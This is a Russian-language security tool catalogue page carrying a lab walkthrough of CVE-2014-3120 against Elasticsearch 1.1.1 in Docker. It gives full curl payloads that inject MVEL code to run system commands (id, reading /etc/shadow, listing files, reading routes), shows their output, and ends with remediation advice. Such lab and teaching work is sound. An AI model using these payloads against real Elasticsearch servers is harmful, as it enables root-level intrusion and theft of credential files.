Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2014-3120 — Пошаговое лабораторное руководство, демонстрирующее эксплуатацию CVE-2014-3120 против Elasticsearch 1.1.1, охватывающее анализ уязвимости, RCE через MVEL-скриптинг и пост-эксплуатацию в среде Docker. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2014-3120
Безопасность контейнеровАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Пошаговое лабораторное руководство, демонстрирующее эксплуатацию CVE-2014-3120 против Elasticsearch 1.1.1, охватывающее анализ уязвимости, RCE через MVEL-скриптинг и пост-эксплуатацию в среде Docker.

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

LAB 10-CVE-2014-3120

I. АНАЛИЗ СИСТЕМЫ

Определение поверхности атаки из окружения Docker

Начнём с того, что запущено в окружении. Выведем список всех активных контейнеров:

root@kitploit:~
docker ps

image.png

Результат: Контейнер p1/lab10:latest запущен, наружу открыты 2 порта:

Сопоставление портовПротокол
0.0.0.0:9200 → 9200/tcpHTTP (требуется проверка)
0.0.0.0:9300 → 9300/tcpНеизвестно

Первоначальное наблюдение: Порты 9200 и 9300 обычно известны как порты по умолчанию для Elasticsearch. Однако нельзя делать вывод только на основе номеров портов – многие другие службы могут привязываться к любым портам.

⇒ Обратимся напрямую к каждому порту через curl, чтобы проверить, какая служба фактически запущена.

Проверка порта 9300

root@kitploit:~
curl -i http://192.168.3.137:9300/

image.png

Анализ ответа:

  • Ответ: curl: (52) Empty reply from server
  • Заголовок сервера: отсутствует – сервер не возвращает HTTP-ответ

Оценка: Сервер принял TCP-соединение (нет отказа в соединении), но не ответил по протоколу HTTP. Это соответствует поведению транспортного протокола Elasticsearch на порту 9300 – бинарного протокола для связи между узлами кластера, не HTTP.

⇒ Вывод: Порт 9300 использует бинарный протокол → нельзя использовать напрямую через curl/браузер. Переходим к проверке порта 9200 – порта HTTP REST API.


Проверка порта 9200

root@kitploit:~
curl -i http://192.168.3.137:9200/

image.png

Анализ ответа:

Оценка поверхности атаки:

  • Подтверждено, что это Elasticsearch 1.1.1 – служба возвращает характерный JSON-ответ с полной информацией о версии.
  • Аутентификация не требуется – REST API отвечает напрямую без запроса учётных данных.
  • Elasticsearch 1.1.1 (2014) попадает в зону действия нескольких критических CVE, в частности CVE-2014-3120 – уязвимости, позволяющей произвольное выполнение кода через динамическое скриптование.

image.png

⇒ Вывод: Elasticsearch 1.1.1 включает динамическое скриптование по умолчанию – клиенты могут отправлять скрипты (MVEL-выражения) в поисковых запросах для выполнения на сервере. При отсутствии изолированной среды или надлежащей валидации злоумышленник может внедрить вредоносный скрипт для выполнения системных команд. Следующий шаг: проверить, действительно ли динамическое скриптование активно на цели.

Проверка динамического скриптования и движка MVEL

Что такое динамическое скриптование?

Elasticsearch поддерживает функцию скриптования – клиенты могут отправлять скрипты (математические или логические выражения) внутри поисковых запросов, чтобы сервер выполнял их при обработке результатов. В Elasticsearch 1.x движком по умолчанию для этой функции является MVEL (MVFLEX Expression Language).

Основная проблема безопасности

В версиях Elasticsearch до 1.2 динамическое скриптование включено по умолчанию (script.disable_dynamic: false). Это означает:

  1. REST API не требует аутентификации.
  2. Клиенты могут отправлять произвольные скрипты через параметр script_fields в API _search.
  3. Движок MVEL не имеет достаточно строгой изолированной среды – он предоставляет доступ к среде выполнения Java.
  4. Злоумышленники могут вызвать java.lang.Runtime.getRuntime().exec() для выполнения системных команд.

Как работает script_fields

Когда отправляется поисковый запрос с script_fields, Elasticsearch:

  1. Получает JSON-запрос через API _search.
  2. Разбирает поле script_fields → находит script для выполнения.
  3. Выполняет скрипт с помощью движка MVEL.
  4. Движок MVEL имеет полный доступ к среде выполнения Java → может вызывать любой класс Java.
  5. Возвращает результат в HTTP-ответе.

Анализ вектора атаки: MVEL → Java Runtime → RCE

В Java наиболее распространённый способ выполнения системной команды:

root@kitploit:~
Runtime.getRuntime().exec("command");

MVEL, как язык выражений с полным доступом к классам Java, позволяет вызвать это напрямую:

root@kitploit:~
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

Пояснение каждой части:

⇒ Вывод: В Elasticsearch результат RCE возвращается непосредственно в ответе – не требуется перенаправление в файл и обратное чтение. Это делает эксплуатацию чище и быстрее для проверки.

II. ЭКСПЛУАТАЦИЯ

Подтверждение активности динамического скриптования

После идентификации цели как Elasticsearch 1.1.1 следующий шаг – проверить, действительно ли динамическое скриптование включено.

CVE-2014-3120 использует тот факт, что Elasticsearch позволяет клиентам отправлять скрипты внутри запросов _search. Если скрипт выполняется сервером, злоумышленник может заменить безвредное выражение на полезную нагрузку, вызывающую Java Runtime для выполнения системных команд.

Сначала создадим тестовый документ, чтобы убедиться, что запрос вернёт хотя бы один результат. Если ни один документ не соответствует, script_fields не будет выполнен.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

Затем обновим индекс:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

Далее отправим запрос _search с script_fields, содержащим безвредное MVEL-выражение:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

Мы отправляем скрипт "1+1", и сервер возвращает результат 2. Это доказывает, что Elasticsearch не только получает запрос _search, но и выполняет динамический скрипт на стороне сервера.

⇒ Динамическое скриптование активно на цели.

Поскольку цель – Elasticsearch 1.1.1 (до версии 1.2), это соответствует условиям эксплуатации CVE-2014-3120: Elasticsearch до версии 1.2 включает динамическое скриптование по умолчанию, что позволяет удалённому злоумышленнику выполнять MVEL-выражения/Java-код через поисковый запрос.

Определение пути к функции выполнения команд

Мы проверили, что script_fields выполняется Elasticsearch на стороне сервера с помощью безвредного выражения "1+1", вернувшего [2].

Это доказывает, что цель не только допускает стандартный поиск, но и позволяет клиентам отправлять MVEL-скрипт для оценки сервером во время обработки _search.

В CVE-2014-3120 критический риск заключается в том, что MVEL в Elasticsearch 1.1.1 может получать доступ к классам Java. Поэтому вместо отправки математического выражения типа "1+1" злоумышленник может отправить скрипт, вызывающий Java Runtime:

Runtime.getRuntime().exec("command")

Это стандартный Java API для создания нового процесса и выполнения команд в операционной системе.

Цепочка атаки

root@kitploit:~
_search API
→ script_fields
→ MVEL-выражение
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner читает stdout
→ результат возвращается в JSON-ответе

Создание RCE-полезной нагрузки и её выполнение

RCE-полезная нагрузка:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Разбор полезной нагрузки:

Результат:

Ответ возвращает поле fields.exploit, содержащее вывод команды id:

root@kitploit:~
"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

Анализ:

Полезная нагрузка успешно вызвала Runtime.getRuntime().exec("id") через MVEL-скрипт внутри script_fields. Тот факт, что ответ возвращает вывод команды id, доказывает выполнение команды на стороне сервера.

Результат uid=0(root) gid=0(root) groups=0(root) указывает, что процесс Elasticsearch внутри контейнера работает с привилегиями root.

Определение границ привилегий

После подтверждения RCE необходимо проверить фактические привилегии, попытавшись прочитать конфиденциальные файлы:

Чтение /etc/shadow:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Наблюдаемый результат:

Ответ возвращает содержимое файла /etc/shadow:

root@kitploit:~
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

Анализ:

Файл /etc/shadow – конфиденциальный системный файл в Linux, обычно доступный для чтения только пользователю root или процессам с эквивалентными привилегиями. На предыдущем шаге команда id вернула:

uid=0(root) gid=0(root) groups=0(root)

Данный шаг дополнительно подтверждает это фактическим поведением: RCE-полезная нагрузка успешно читает /etc/shadow.

⇒ Elasticsearch внутри контейнера работает с root-привилегиями.

⇒ Воздействие не ограничивается типичным выполнением команд, а представляет собой RCE с root-привилегиями внутри контейнера.

Примечание: root-привилегии здесь относятся к root внутри Docker-контейнера. Мы не можем сделать вывод о привилегиях root на хосте без доказательств привилегированного запуска контейнера, монтирования Docker-сокета или монтирования конфиденциальных томов хоста.

III. ПОСТЭКСПЛУАТАЦИЯ

Сбор информации о системе

RCE подтверждено. Переходим к сбору информации о системе для оценки масштаба.

Просмотр корневой файловой системы контейнера

После подтверждения RCE с привилегиями root выполним команду ls -la / через MVEL-полезную нагрузку, чтобы изучить файловую систему цели:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Результат: Ответ возвращает содержимое каталога / в поле rootfs.

Анализ:

Тот факт, что вывод ls -la / появляется в JSON-ответе, доказывает, что команда была выполнена на цели через RCE. Такие файлы, как docker-entrypoint.sh, каталог elasticsearch и симлинк docker-java-home, указывают, что скомпрометированная среда – это контейнер, запускающий Elasticsearch.

⇒ Злоумышленник может просматривать файловую систему внутри контейнера с root-привилегиями.

Проверка сети – потенциал для pivoting

Поскольку в контейнере нет бинарного файла /sbin/ifconfig, читаем /proc/net/route напрямую. Этот файл не требует внешних утилит и содержит таблицу маршрутизации контейнера.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Анализ:

Результаты показывают, что контейнер имеет интерфейс eth0 и находится в сети Docker 172.19.0.0/16. Шлюз по умолчанию – 172.19.0.1.

Это доказывает, что контейнер имеет внутреннюю сетевую связность через мост Docker. Поскольку злоумышленник уже имеет RCE с root-привилегиями внутри контейнера, теоретически он может перейти к проверке других хостов/служб в той же сети Docker, если сетевые политики это позволяют.

Однако этот вывод доказывает лишь видимость сети на уровне маршрутизации, а не успешный pivoting. Для заключения о pivoting требуются дополнительные доказательства, такие как успешное сканирование другого хоста, подключение к внутренней службе или получение ресурсов из другой сети.

IV. ОЦЕНКА РИСКА И РЕКОМЕНДАЦИИ

Оценка риска

На основе доказательств, собранных в ходе анализа, цель работает под управлением Elasticsearch 1.1.1 на порту 9200. Эта версия предшествует 1.2, поэтому попадает в зону поражения CVE-2014-3120.

Уязвимость связана с тем, что в версиях до 1.2 Elasticsearch включает динамическое скриптование по умолчанию, что позволяет клиентам отправлять MVEL-скрипты через поисковые запросы. В этой лабораторной работе данная функция была подтверждена с помощью безвредного выражения "1+1", вернувшего результат [2].

Впоследствии MVEL-полезная нагрузка вызвала:

root@kitploit:~
Runtime.getRuntime().exec("id")

Ответ вернул:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Это доказывает, что злоумышленник может выполнять системные команды через Elasticsearch. Кроме того, полезная нагрузка успешно прочитала /etc/shadow, подтверждая, что привилегии выполнения – root внутри контейнера.

Рекомендации по устранению

1. Обновить Elasticsearch до более новой версии

Обновите Elasticsearch до версии >= 1.2.0 (как минимум) или, в идеале, до текущей поддерживаемой версии (8.x). Начиная с версии 1.2, динамическое скриптование отключено по умолчанию.

2. Немедленно отключить динамическое скриптование (если обновление невозможно)

Добавьте в elasticsearch.yml:

root@kitploit:~
script.disable_dynamic: true

Перезапустите Elasticsearch после внесения изменения. Это полностью отключит возможность клиентов отправлять скрипты в поисковых запросах.

3. Не открывать REST API Elasticsearch для ненадёжных сетей

Версия 1.x не имеет встроенной аутентификации по умолчанию. Если необходимо открыть доступ, поместите Elasticsearch за обратный прокси-сервер с аутентификацией или привяжите только к 127.0.0.1.

Высокий приоритет

4. Включить аутентификацию и шифрование

Современные версии Elasticsearch (7.x+) поддерживают встроенную безопасность (аутентификация, TLS). При обновлении включите функции безопасности:

root@kitploit:~
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. Ограничить доступ с помощью брандмауэра

Разрешите доступ к портам 9200 и 9300 только доверенным IP-адресам. Не открывайте их в интернет или во всю внутреннюю сеть.

6. Запускать Elasticsearch от имени пользователя с низкими привилегиями

Не запускайте Elasticsearch от пользователя root. Создайте выделенного пользователя elasticsearch с минимальными привилегиями. Это официальная рекомендация.

Скачать инструмент
ПолеЗначениеСмысл
name"Rage"Имя узла Elasticsearch (случайное имя персонажа Marvel – поведение по умолчанию старых версий ES)
version.number"1.1.1"Очень старая версия – выпущена в апреле 2014 г.
build_timestamp"2014-04-16T14:27:12Z"Собрана в 2014 г.
lucene_version"4.7"Lucene 4.7 – старый движок индексации
tagline"You Know, for Search"Характерная фраза-подпись Elasticsearch
ЧастьПояснение
import java.io.*Импорт классов ввода-вывода Java
Runtime.getRuntime()Получение экземпляра Java Runtime
.exec("id")Выполнение команды оболочки id
.getInputStream()Получение потока вывода процесса
new Scanner(...).useDelimiter("\\A").next()Чтение всего вывода в виде строки
ЧастьНазначение
"size": 1Ограничивает результат одним документом
"query" → "match_all"Соответствует всем документам (требуется хотя бы один документ в индексе)
"script_fields" → "exploit"Определяет вычисляемое поле, выполняющее MVEL-скрипт
"script": "import java.io.*; ..."MVEL-выражение, которое выполняет команду id и возвращает вывод
КритерийОценкаДетали
CVECVE-2014-3120RCE через динамическое скриптование Elasticsearch
Затрагиваемая службаElasticsearchREST API, открытый на порту 9200
Версия1.1.1До версии 1.2, входит в уязвимые версии
АутентификацияНе требуется в лабораторной работеREST API отвечает напрямую, без запроса учётных данных
Условия эксплуатацииДинамическое скриптование включеноПодтверждено скриптом "1+1", вернувшим [2]
Полученные привилегииroot в контейнереid возвращает uid=0(root)
ВоздействиеОчень высокоеRCE, чтение конфиденциальных файлов, просмотр файловой системы, сбор данных о пользователях/сети
ОбластьКонтейнерПока нет доказательств компрометации хоста
PivotingПотенциал для дальнейшей проверкиКонтейнер имеет маршрут через eth0 в сети Docker 172.19.0.0/16